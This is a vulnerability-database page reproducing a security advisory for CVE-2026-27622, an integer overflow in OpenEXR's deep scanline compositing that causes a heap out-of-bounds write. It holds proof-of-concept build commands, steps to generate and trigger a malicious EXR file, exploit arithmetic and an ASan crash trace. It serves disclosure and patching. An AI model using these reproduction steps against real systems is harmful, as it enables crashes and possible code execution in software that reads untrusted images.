GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-CR4V-6JM6-4963

Vulnerability from github – Published: 2026-03-02 18:30 – Updated: 2026-03-04 02:00
VLAI
Summary
OpenEXR's CompositeDeepScanLine integer-overflow leads to heap OOB write
Details

Summary

Function: CompositeDeepScanLine::readPixels, reachable from high-level multipart deep read flows (MultiPartInputFile + DeepScanLineInputPart + CompositeDeepScanLine).

Vulnerable lines (src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp): - total_sizes[ptr] += counts[j][ptr]; (line ~511) - overall_sample_count += total_sizes[ptr]; (line ~514) - samples[channel].resize (overall_sample_count); (line ~535)

Impact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in generic_unpack_deep_pointers (src/lib/OpenEXRCore/unpack.c:1374) (DoS/Crash, memory corruption/RCE).

Attack scenario: - Attacker provides multipart deep EXR with many parts and very large sample counts per pixel. - Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure. - The overflow happens in composite sample accounting (unsigned int), while pointer progression for decode uses larger counters and reaches out-of-bounds.

Tested on: OpenEXR 4.0.0-dev (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0

Steps to reproduce

composite_deepscanline_poc_bundle.patch

PoC files used: - Writer/generator: poc/composite_deep_scanline_e2e_compressed_poc.cpp - Minimal high-level reader harness: poc/simple_exr_reader.cpp

The reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select DEEPSCANLINE, add sources to CompositeDeepScanLine, bind a normal FrameBuffer, then call readPixels.

Build with ASAN/UBSAN:

cmake -S . -B build-asan \
  -DOPENEXR_BUILD_POC=ON \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_C_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address,undefined -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

cmake --build build-asan --target composite_writer simple_exr_reader -j

Generate malicious file (decode-path focused profile):

ASAN_OPTIONS=detect_leaks=0 timeout 180s \
  ./build-asan/poc/composite_writer \
  --profile low-ram \
  --file /tmp/composite_decode_focus.exr

Trigger:

ASAN_OPTIONS=detect_leaks=0 timeout 30s \
  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr

ASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.

Example runs

Writer (abbrev):

❯ ./build-asan/poc/composite_writer
exploit math:
  benign samples                 : 300
  malicious parts                : 86
  malicious samples per part     : 50000000
  true total samples             : 4300000300
  uint32 overflow reached        : yes
  wrapped uint32 total           : 5033004
  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)
  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)
  min parts to overflow (current benign/samples): 86
writing compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr
writing donor malicious part (50000000 samples)
copying malicious part 1/86 from donor chunk
...
file size: 26112896 bytes (24.90 MiB)

Reader ASAN crash:

❯ ./build-asan/poc/simple_exr_reader
reading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts
=================================================================
==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670
WRITE of size 4 at 0x7ed1a55d90b0 thread T0
    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374
    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664
    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816
    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const&, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568
    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576
    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)
allocated by thread T0 here:
    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
    #1 0x7ed1dbc29600 in std::__new_allocator<float>::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151
    #2 0x7ed1dbc29600 in std::allocator_traits<std::allocator<float> >::allocate(std::allocator<float>&, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482
    #3 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381
    #4 0x7ed1dbc29600 in std::_Vector_base<float, std::allocator<float> >::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378
    #5 0x7ed1dbc29600 in std::vector<float, std::allocator<float> >::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663
    #6 0x7ed1dbc00184 in std::vector<float, std::allocator<float> >::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016
    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535
    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88
    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers
Shadow bytes around the buggy address:
  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==175024==ABORTING

Root cause analysis

In CompositeDeepScanLine::readPixels:

  1. Per-pixel totals are accumulated in vector<unsigned int> total_sizes.
  2. For attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.
  3. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count).
  4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer.

Allocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.

Impact

Heap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.

Severity
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "OpenEXR"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27622"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T18:30:20Z",
    "nvd_published_at": "2026-03-03T23:15:55Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nFunction: `CompositeDeepScanLine::readPixels`, reachable from high-level multipart deep read flows (`MultiPartInputFile` + `DeepScanLineInputPart` + `CompositeDeepScanLine`).\n\nVulnerable lines (`src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp`):\n- `total_sizes[ptr] += counts[j][ptr];` (line ~511)\n- `overall_sample_count += total_sizes[ptr];` (line ~514)\n- `samples[channel].resize (overall_sample_count);` (line ~535)\n\nImpact: 32-bit sample-count accumulation wrap leads to undersized allocation, then decode writes with true sample volume, causing heap OOB write in `generic_unpack_deep_pointers` (`src/lib/OpenEXRCore/unpack.c:1374`) (DoS/Crash, memory corruption/RCE).\n\nAttack scenario:\n- Attacker provides multipart deep EXR with many parts and very large sample counts per pixel.\n- Uses compression (RLE/ZIPS) to keep file size relatively small vs decode pressure.\n- The overflow happens in composite sample accounting (`unsigned int`), while pointer progression for decode uses larger counters and reaches out-of-bounds.\n\nTested on: `OpenEXR 4.0.0-dev` (commit 83449669402080874b25ff1fa740649a9e6ea064) but this code has existed since v2.3.0\n\n## Steps to reproduce\n\n[composite_deepscanline_poc_bundle.patch](https://github.com/user-attachments/files/25383205/composite_deepscanline_poc_bundle.patch)\n\nPoC files used:\n- Writer/generator: `poc/composite_deep_scanline_e2e_compressed_poc.cpp`\n- Minimal high-level reader harness: `poc/simple_exr_reader.cpp`\n\nThe reader harness intentionally mimics realistic app behavior: open EXR, iterate parts, select `DEEPSCANLINE`, add sources to `CompositeDeepScanLine`, bind a normal `FrameBuffer`, then call `readPixels`.\n\nBuild with ASAN/UBSAN:\n\n```bash\ncmake -S . -B build-asan \\\n  -DOPENEXR_BUILD_POC=ON \\\n  -DCMAKE_BUILD_TYPE=RelWithDebInfo \\\n  -DCMAKE_C_FLAGS=\u0027-fsanitize=address,undefined -fno-omit-frame-pointer\u0027 \\\n  -DCMAKE_CXX_FLAGS=\u0027-fsanitize=address,undefined -fno-omit-frame-pointer\u0027 \\\n  -DCMAKE_EXE_LINKER_FLAGS=\u0027-fsanitize=address,undefined\u0027 \\\n  -DCMAKE_SHARED_LINKER_FLAGS=\u0027-fsanitize=address,undefined\u0027\n\ncmake --build build-asan --target composite_writer simple_exr_reader -j\n```\n\nGenerate malicious file (decode-path focused profile):\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 180s \\\n  ./build-asan/poc/composite_writer \\\n  --profile low-ram \\\n  --file /tmp/composite_decode_focus.exr\n```\n\nTrigger:\n\n```bash\nASAN_OPTIONS=detect_leaks=0 timeout 30s \\\n  ./build-asan/poc/simple_exr_reader /tmp/composite_decode_focus.exr\n```\n\nASAN builds are slower. If needed, a non-sanitized build + debugger is faster for iteration.\n\n## Example runs\n\nWriter (abbrev):\n\n```bash\n\u276f ./build-asan/poc/composite_writer\nexploit math:\n  benign samples                 : 300\n  malicious parts                : 86\n  malicious samples per part     : 50000000\n  true total samples             : 4300000300\n  uint32 overflow reached        : yes\n  wrapped uint32 total           : 5033004\n  composite Z/A alloc from wrap  : 40264032 bytes (38.40 MiB)\n  per-part unpacked sample bytes : 300000000 bytes (286.10 MiB)\n  min parts to overflow (current benign/samples): 86\nwriting compressed multipart deep EXR: /tmp/composite_deep_scanline_e2e_compressed.exr\nwriting donor malicious part (50000000 samples)\ncopying malicious part 1/86 from donor chunk\n...\nfile size: 26112896 bytes (24.90 MiB)\n```\n\nReader ASAN crash:\n\n```bash\n\u276f ./build-asan/poc/simple_exr_reader\nreading /tmp/composite_overflow_optimized.exr with 16 deepscanline parts\n=================================================================\n==175024==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed1a55d90b0 at pc 0x7ed1da7854f7 bp 0x7ffe8c83a680 sp 0x7ffe8c83a670\nWRITE of size 4 at 0x7ed1a55d90b0 thread T0\n    #0 0x7ed1da7854f6 in generic_unpack_deep_pointers /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374\n    #1 0x7ed1da7623e9 in exr_decoding_run /home/pop/sec/openexr/src/lib/OpenEXRCore/decoding.c:664\n    #2 0x7ed1dbcb153b in run_decode /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:816\n    #3 0x7ed1dbcc597f in Imf_4_0::DeepScanLineInputFile::Data::readData(Imf_4_0::DeepFrameBuffer const\u0026, int, int, bool) /home/pop/sec/openexr/src/lib/OpenEXR/ImfDeepScanLineInputFile.cpp:568\n    #4 0x7ed1dbc01ca4 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:576\n    #5 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #6 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #7 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #8 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\n0x7ed1a55d90b0 is located 0 bytes after 820132016-byte region [0x7ed1747b5800,0x7ed1a55d90b0)\nallocated by thread T0 here:\n    #0 0x7ed1dd0fe548 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95\n    #1 0x7ed1dbc29600 in std::__new_allocator\u003cfloat\u003e::allocate(unsigned long, void const*) /usr/include/c++/13/bits/new_allocator.h:151\n    #2 0x7ed1dbc29600 in std::allocator_traits\u003cstd::allocator\u003cfloat\u003e \u003e::allocate(std::allocator\u003cfloat\u003e\u0026, unsigned long) /usr/include/c++/13/bits/alloc_traits.h:482\n    #3 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:381\n    #4 0x7ed1dbc29600 in std::_Vector_base\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_allocate(unsigned long) /usr/include/c++/13/bits/stl_vector.h:378\n    #5 0x7ed1dbc29600 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::_M_default_append(unsigned long) /usr/include/c++/13/bits/vector.tcc:663\n    #6 0x7ed1dbc00184 in std::vector\u003cfloat, std::allocator\u003cfloat\u003e \u003e::resize(unsigned long) /usr/include/c++/13/bits/stl_vector.h:1016\n    #7 0x7ed1dbc00184 in Imf_4_0::CompositeDeepScanLine::readPixels(int, int) /home/pop/sec/openexr/src/lib/OpenEXR/ImfCompositeDeepScanLine.cpp:535\n    #8 0x64669005f233 in main /home/pop/sec/openexr/poc/simple_exr_reader.cpp:88\n    #9 0x7ed1d942a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7ed1d942a28a in __libc_start_main_impl ../csu/libc-start.c:360\n    #11 0x6466900601e4 in _start (/home/pop/sec/openexr/build-asan/poc/simple_exr_reader+0x1b1e4) (BuildId: 86b018d0dce48def6ca06be031266f0205c914d2)\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/pop/sec/openexr/src/lib/OpenEXRCore/unpack.c:1374 in generic_unpack_deep_pointers\nShadow bytes around the buggy address:\n  0x7ed1a55d8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x7ed1a55d9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x7ed1a55d9080: 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x7ed1a55d9300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07\n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n==175024==ABORTING\n```\n\n## Root cause analysis\n\nIn `CompositeDeepScanLine::readPixels`:\n\n1. Per-pixel totals are accumulated in `vector\u003cunsigned int\u003e total_sizes`.\n2. For attacker-controlled large counts across many parts, `total_sizes[ptr]` wraps modulo `2^32`.\n3. `overall_sample_count` is then derived from wrapped totals and used in `samples[channel].resize(overall_sample_count)`.\n4. Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (`generic_unpack_deep_pointers`) overrun the undersized composite sample buffer.\n\n\nAllocation is based on a tiny wrapped value, but decode writes correspond to the true large sample volume.\n\n## Impact\n\nHeap OOB write during decode. This is at minimum a reliable crash/DoS. As heap corruption, this bug could be used for potential remote code execution.",
  "id": "GHSA-cr4v-6jm6-4963",
  "modified": "2026-03-04T02:00:10Z",
  "published": "2026-03-02T18:30:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-cr4v-6jm6-4963"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenEXR\u0027s CompositeDeepScanLine integer-overflow leads to heap OOB write"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.


Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.